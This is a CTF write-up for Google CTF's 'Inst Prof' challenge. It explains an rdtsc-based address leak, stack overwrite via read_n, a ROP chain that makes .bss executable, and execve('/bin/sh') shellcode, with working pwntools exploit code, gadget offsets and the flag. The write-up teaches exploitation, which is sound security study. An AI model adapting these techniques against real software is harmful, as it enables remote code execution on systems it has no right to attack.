Google CTF - Inst Prof Writeup

I started this challenge after finishing Wiki since my team still did not solve it at that time. I though I would grab this low hanging fruit fast and move on to the harder challenges, as it was categorised as an easy task and had many solvers. Boy, was I ever wrong! If you are looking for the efficient solution for this challenge, I suggest you keep looking, my solution is full of detours and I made this challenge significantly harder than it should have been.

The Binary

The provided binary is an x64 linux executable with NX and PIE enabled. There is no need for much reversing as the program itself is really simple. In an infinite loop it reads four bytes from the user, executes those four bytes in a loop a thousand times and prints the execution time in the end. More precisely:

  • It allocates an mmap page and copies the thousand-iteration-loop template there
  • Reads four bytes from the user and substitutes it into the loop
  • Makes the page executable
  • Saves the rdtsc clock
  • Calls the page
  • Reads the rdtsc clock again and prints the elapsed time
  • Frees the page

What is interesting for us is obviously the 4 byte machine code we can run and the printing of the rdtsc clock. Since that is the only information sent to us we will have to use it to leak addresses. This and an unhealthy dose of caffeine should be enough to finish the exploit.

The Leak

The value of the Time Stamp Counter is saved to R12 before the call to our code. Later, when the loop has returned, it is subtracted from the current value of the Time Stamp Counter. It is easy to see how we can use this to leak addresses; we can subtract a value from R12 and we receive the subtracted value plus the time that passed between the two rdtsc calls.

r12 = rdtsc1
call our_code
    r12 = r12 - rsp
    return
res = rdtsc2 - r12
res = rdtsc2 - rdtsc1 + rsp
print res

If we want to leak accurate addresses then we need to guess or know the time spent between the two rdtsc instructions. On the other hand, if we only want to get the base address of a mapping we don’t need accurate values as base addresses are page aligned, so the least significant 12 bits are always going to be zero. Leaking the stack base or executable page is straight forward as their addresses are already present in registers (RSP and RIP respectively).

Leaking the .text base requires an additional step. We need to load a .text address into a register and subtract it from R12. Unfortunately I am not aware of any instruction combination that does this in 4 bytes and survives the return. The only alternative solution is to look for a register, that is not written between the calls to our 4 byte shellcode. Lucky for us R14 and R15 satisfies this condition, and the pop r14; push r14 instructions can be used to load the original return address to the R14 register and sub r12, r14; ret can be used to leak it. The actual code for the address leaks:

    ret = asm("ret")
    add_r12_rsp = asm("sub r12, rsp")
    
    m.c.send(add_r12_rsp+ret)
    leak_stack = (u64(m.c.recv(), sign="signed")) -reftime
    stack_base = (leak_stack & 0xfffffffffffff000) - 0x20000
    print ("Leaked stack address: "+hex(leak_stack))
    print ("Leaked stack base: "+hex(stack_base))

    print ("Get ret address to r14")
    m.c.send(pop_r14 + push_r14)
    m.c.recv()

    m.c.send(add_r12_r14+ret)
    leak_prog = (u64(m.c.recv(), sign="signed")) -reftime
    prog_base = (leak_prog & 0xfffffffffffff000)
    print ("Leaked prog address: "+hex(leak_prog))
    print ("Leaked prog base: "+hex(prog_base))

The Exploit

At this point any sane person would have realised that with R14 and R15 we have an arbitrary write primitive. We could write a minimal ROP chain that calls the make_page_executable and makes the stack executable and returns to a minimal shell code. But I didn’t. I took the scenic route.

After leaking the addresses I decided to call the read_n(char* dst, int length) function, to overwrite the stack with arbitrary data. At the time of return RSI contains 0x1000 which is good enough for us, all we need to do is get the stack address into RDI and overwrite the return address with read_n function’s address. As explained previously, pop r14; push r14 can be used to get the original return address into R14. Since the read_n address is really close to this address, we can issue the dec r14; ret instructions multiple times (0x98 times to be exact) to point R14 to read_n.

The final step is to get the stack address into RDI and push R14 to the stack. This exactly is achieved by the push rsi; pop rdi; push r14; instructions, it will mess up the stack but we plan to read there anyways. The actual code:

dec_r14 = asm("dec r14")
push_r14 = asm("push r14")
pop_rdi = asm("pop rdi")
push_rsp = asm("push rsp")

for i in range(0x98):
    m.c.send(dec_r14+ret)
    junk = m.c.recv()
print("Jumping to read")
m.c.send(push_rsp+pop_rdi+push_r14)

All that is left to do is to write a ROP chain that calls execve with the "/bin/sh",0,0 arguments. Thought the naive, adolescent me. The problem is that we only know the base address of the program and not the address of libc. At the time (heavily sleep deprived), I could not see a way to leak libc addresses easily. It would have been pretty simple though, R15 could be pointed to the .got and then mov r14, [r15]; ret could have been used to read libc function addresses to R14.

Instead I run ROPgadget on the binary and noted the lack of useful gadgets with much disappointment. There are pop rdi and pop rsi gadgets in the binary but no control over RDX or EAX which means no execve for us (or any syscall for that matter). At this point I was very tempted to give up and ease my sorrow with fine Belgian beers, but I resisted.

Having RSI and RDI control and PIE leak means that we can call any function from the binary and control the first two parameters, so it is worth looking through them. We can call:

  • alloc_page
  • free_page
  • make_page_executable
  • read_n

The two most useful one are make_page_executable(void* address) and the read_n functions. With the help of these we can read an arbitrary shell code to the .bss and make it executable and return to it. The shell code can be the execve("/bin/sh", 0, 0), we can place the “/bin/sh” string over the last return address on the stack when the ROP chain is sent. So the actual shell code ends up looking like this:

mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 59
syscall

This is a simple idea but at the time it took me significant amount of time to figure it out and beforehand a lot of trial and error with other non-working solutions. But after the pieces have fallen into place writing the ROP chain is rather straight forward. We simply use the pop rdi; ret and pop rsi, pop r15, ret gadgets to set up the parameters for the read_n and make_page_executable functions. The relevant part of the exploit:

## get addresses
bss_base = prog_base + 0x202000
bss_start = prog_base + 0x202070

pop_rdi = prog_base + 0xbc3
pop_rsi_r15 = prog_base + 0xbc1

read_n = prog_base+0xa80
make_page_exec = prog_base+0xa20

# RSI contains read length
ropchain = p64(pop_rsi_r15)+ p64(0x500) + "B"*8
# RDI contains bss address
ropchain += p64(pop_rdi) + p64(bss_start)+p64(read_n)
# RDI contains the bss base
ropchain += p64(pop_rdi) + p64(bss_base)+p64(page_exec)
# ret to the shell code address and "/bin/sh" string
ropchain += p64(bss_start) + "/bin/sh\0"

print("sending stage 1")
m.c.send(ropchain)

# send shell code
last_stage = asm("mov rdi, rsp; mov rsi, 0; mov rdx, 0;mov rax, 59;syscall")
m.c.send("C"*(0x1000-88) +last_stage + "D" *((0x500+88 )-len(last_stage)))
# enjoy remote shell
m.c.interactive()

The complete exploit is available here.

Summary

Before concluding this write up here is a quick recap of the steps I took to get the flag:

  • Leak addresses using the R12 register
  • Call read_n to overwrite the stack with arbitrary data
  • Create a ROP chain that reads to the .bss and makes it executable and returns to it
  • Send the sys_execve("/bin/sh",0,0) shellcode
  • Submit flag, realise it is my anniversary, quit CTF to try to save relationship (true story)

Without doubt this is not the most efficient way to solve this challenge, yet I hope some people find the write up helpful, educational. Overall I definitely enjoyed this challenge even though I almost lost hope at one point and was really close to giving up. Last but not least, I would like to say thank you to the organisers for the quality challenges and competition.

Oh yeah and the flag of course:

CTF{0v3r_4ND_0v3r_4ND_0v3r_4ND_0v3r}

TL;DR

Despair is the name of the game.

0ctf 2018 - Black Hole Theory

Writeup for the 2018 0ctf pwn challenge Black Hole Theory Continue reading